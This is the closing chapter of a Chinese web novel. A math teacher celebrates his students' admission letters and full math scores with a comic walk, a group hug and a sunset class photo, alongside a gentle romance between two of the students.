远远一声,人影很糊——可那几个人却甚至识趣,撒腿奔跑,硬是靠双腿实现了超分辨率重建。 视野里的人绝对清晰时,徐富仰头一笑:“哎哟喂,终于来了!快进去领通知书,有点多,仔细找找!” 吕丁、陈慢、赵鸿途飞窜进去,背影里透着“耗子遇到猫”的窃喜。 徐富:“易承的录取通知书我亲自给的,争光了!许桑,你通知书领到了吗?” “嗯。”许桑站在他面前,微微欠身,“领到了。” “好。”徐富站起来,踮起脚尖拍了拍许桑的肩,另一只手又勾上易承的肩,说道:“谢谢你们,让我圆梦了。” 许桑和易承对视一眼,不解:“嗯?” “我的梦啊,就是教出数学满分。这次实现了,还是两个!”徐富咧嘴笑出声来:“虽然我只带了许桑半年,那就勉勉强强算一个半?” “不合适吧。”易承笑着答话:“哪有把人算半个的?” “……”徐富重重拍下他肩:“老子偶尔谦虚一下,你拆什么台。” 易承仰头轻笑,偏头点了下许桑的肩头,说道:“我好像记得,某位尊敬的老师说过,要是教出满分,要表演个平行走路?” 徐富撅嘴:“……” 许是有阅历有年龄的人包袱真的轻,话落,徐富就撒开手,走到空旷的楼道,双腿打开与肩同宽,上半身往后仰,仰到几乎和地面平行的弯度,他挥舞着双臂、脚下生风,急走之时,还哈哈哈地大笑。 也不怕风灌进喉咙给自己呛死。 他边走边喊:“我徐富,也是教出数学满分的人了!” 吕丁抱着火红的录取通知书出来时,差点被吓一跳:“我错过了什么?” “快,拍下来!”陈慢通知书都不要了,立时掏出手机一顿咔嚓咔嚓记录。 赵鸿途还没出来,在角落里抱着通知书哭得上气不接下气,被外面猖狂的笑声扰了气氛,他才慢慢走出去,一看,一震:“我靠!” 场面乱成一锅粥,老鼠屎混进去都看不出的乱。 易承轻叹气,轻声说道:“有纸没?” 许桑不解地回道:“有。” “悄悄递给老徐。”易承压低声音,“有人喜极而泣了。” 许桑折了下纸,“你怎么不去?” 易承轻轻一笑:“我在他心里可是一个人,你才半个,估计有些遗憾,你去补补?” 听明白了,许桑点头:“好。” 吕丁嘻嘻打趣道:“老徐,您真是老当益壮,考不考虑去读表演系?” “表屁表。”老徐立起来,差点闪到腰,被许桑一扶,他愣了下,面色顿时暖如春风:“有眼力见儿啊。” 许桑只轻勾唇,将折叠好的卫生纸塞他手心里,小声说了句:“谢谢您。” “不谢不谢。”徐富重重点头:“来,跟我抱一个!” “老徐,我也想要您温暖的怀抱!” “老徐,带我一个!” “老徐,我来了!” 瞧吕丁那傻样,多半想要叠罗汉一样抱上去,察觉到这点,易承眼疾手快地握住许桑手腕,稍作用力将他往自己怀里带过。 鼻尖擦过,许桑习惯性地扶住他腰:“嗯?” 易承轻笑,下巴点了点徐富那边:“你差点成肉饼。” 许桑应声看去:徐富被三个人团团抱住,人与人之间留有的空间几乎纸片薄,能分明看到被挤得白眼直翻的徐富“痛苦面具”。 他收回视线,笑了声:“反应真快。” 易承点头,趁着周遭注意力不在自己这,偷摸亲了许桑一下,抬头时笑说:“那必须的。” 罗汉叠完,徐富把手机架在桌子上,理理短裤、又抻抻拖鞋,挺直腰杆:“来,易小子跑得快,你去按快门!” 易承点头:“好。” 没什么队形讲究,矮的在前,高的在后,徐富扎着马步挺中间,额头上汗都憋出来了,他大喊一声:“茄子!” 易承回过神来:“等等,手机密码多少?” 徐富好不容易憋回去的大肚腩又“duang”地弹了出去:“……” 等他走过来给手机解锁时,易承摸了摸鼻尖,又偷摸瞄了眼许桑。 鬼知道他刚才考虑九宫格构图时,一不小心视线锁定许桑,脑子里卡了带一样,除了“抬头锁定许桑”,没有任何指令。 夏天昼长夜短,注定落日绚烂而漫长。白蓝色打底的天空,色度增高,明艳铺展,横空拉开一条金灿色分割线,其上是油画世界,浓重块色、主调鲜明;其下是写实世界,余辉煌煌、斜穿进教学楼,被白砖反射,像是盛进天光、后又归还。 许桑站在最末、也是最侧,半张脸活似成了画板、任彩光流转。 他偏了些头,被映得瓷白的脸颊上,落日余晖斜照过碎发都投射下毫末般的阴影。光在这一刻有了实感,而美在这一刻具象化了。 “啧。”易承忍不住勾了抹笑,正欲记录下这一刻,回头就剩黑屏了。 他心下一滞:“……” 背过身子等徐富人脸识别时,易承释然:也好,这副光景、这个人是独属于他的——未入他人之眼,也好。 “来,三,二,一——” 话落,易承跑得飞起,长腿一步跨得活似能登天了,他三两步飞窜在许桑旁边,揽上他肩头的瞬间,朝镜头来了个微笑。 吕丁后知后觉:“茄子!” 手势收了,易承膝盖推了他一下:“晚半拍。” “……”吕丁转头:“易哥你不起个头!” 易承笑道:“起了头你也不定跟得上。” 吕丁连忙接话:“我的反应速度,那是以普朗克时间来计的!我都跟不上谁能跟得上?” 易承偏头,向许桑靠了些:“远在天边、近在眼前。” 侧腰被捏得发痒,许桑轻笑:“别闹。” 徐富把手机端过来,把那张图片放大,哟哟哟哟半天:“我当年怎么没发现,你小子笑起来很有少年气呢。” 集体问道:“谁?” 徐富抬头一笑:“你们啊。” —正文完。